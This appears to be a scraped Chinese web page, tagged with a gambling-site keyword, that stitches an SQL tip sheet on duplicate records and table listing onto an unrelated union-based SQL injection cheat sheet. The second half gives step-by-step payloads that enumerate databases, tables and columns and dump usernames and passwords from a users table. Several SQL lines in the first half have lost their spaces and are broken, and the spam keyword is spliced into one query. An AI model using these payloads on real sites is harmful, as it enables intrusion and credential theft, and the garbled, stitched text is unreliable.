【澳门金沙vip】SQL 重复记录难题的拍卖措施小结

SQL语句去掉重复记录,获取重复记录
–查询一个表中有效去掉重复的记录,UserID为自增长主键,RoleID为重复字段
SELECTMIN(UserID)ASUserID,RoleIDFROMtmpTableGROUPBYRoleID
SELECTRoleIDFROMtmpTableGROUPBYRoleIDHAVING(COUNT(*)1)
SELECTDISTINCT*FROMtmpTable
sql语句查询sqlserveraccess数据库里的所有表名,字段名2007年02月01日星期四下午04:21SQLSERVER
查看所有表名: selectnamefromsysobjectswheretype=’U’
查询表的所有字段名: SelectnamefromsyscolumnsWhereID=OBJECT_ID(‘表名’)
select*frominformation_schema.tables
select*frominformation_澳门金沙vip,schema.views
select*frominformation_schema.columns ACCESS 查看所有表名:
selectnamefromMSysObjectswheretype=1andflags=0
MSysObjects是系统对象,默认情况是隐藏的。通过工具、选项、视图、显示、系统对象可以使之显示出来

1、查找重复记录 ①如果只是不想在查询结果中存在重复记录,
可以加Distinct select distinct * from TestTable
②如果是想查询重复的记录及其数量 select UserID,UserName,count(*) as
‘记录数’ from TestTable Group by UserID,UserName having count(*)1
③ID不重复, 但是字段重复的记录只显示一条 select * from TestTable
where UserID in (select max(UserID) as UserID from TestTable group by
UserName,Sex,Place) 2、删除重复记录 ①一种思路是利用临时表,
把查询到的无重复记录填充到临时表, 再把临时表的记录填充回原始表 select
distinct * into #Temp from TestTable drop table TestTable select *
into TestTable from #Temp drop table #Temp ②删除ID不重复,
但是字段重复的记录(就是按字段查询出相同字段记录中最大的ID,然后保留此记录,
删除其他记录).(group by 的字段, 有点麻烦). delete TestTable where UserID
not in (select max(UserID) as UserID from TestTable group by
UserName,Sex,Place)

注:
以下payload均基于单引号字符型注入。若是整型注入,需将单引号与后面的注释符(–+)都去掉;若是双引号注入,需将单引号改为双引号。

可联合查询注入

使用情景:页面有显示位。
优点:语句简单,快速。
缺点:条件苛刻。

原理:通过显示位,直接爆出所查信息。

1.判断当前数据表中有几列:
?id=1′ order by 数值 –+
2.查看显示位在第几列(这里假设共有3列):
?id=-1′ union select 1,2,3 –+
3.显示当前数据库(假设显示位在第3 列):
?id=-1′ union select 1,2,database() –+
4.查询当前数据库的所有表:
?id=-1′ union select 1,2,(select group_concat(table_name) from
information_schema.tables where table_schema=database()) –+
5.查询所有数据库 :
?id=-1′ union select 1,2,(select group_concat(schema_name) from
information_schema.schemata) –+
6.查询某个数据库中的表 (此例为 db1 数据库):
?id=-1′ union select 1,2,(select group_concat(table_name) from
information_schema.tables where table_schema=’message’) –+
7.查询某个表中的所有字段 (此例为 message数据库中的users 表):
?id=-1′ union select 1,2,(select group_concat(column_name) from
information_schema.columns where table_schema=’message’ and
table_name=’users’) –+
8.查询某个表中的字段内容(此例为 message数据库中的users 表):
?id=-1′ union select 1,2,(select group_concat(name,0x3a,0x3a,passwd)
from message.users) –+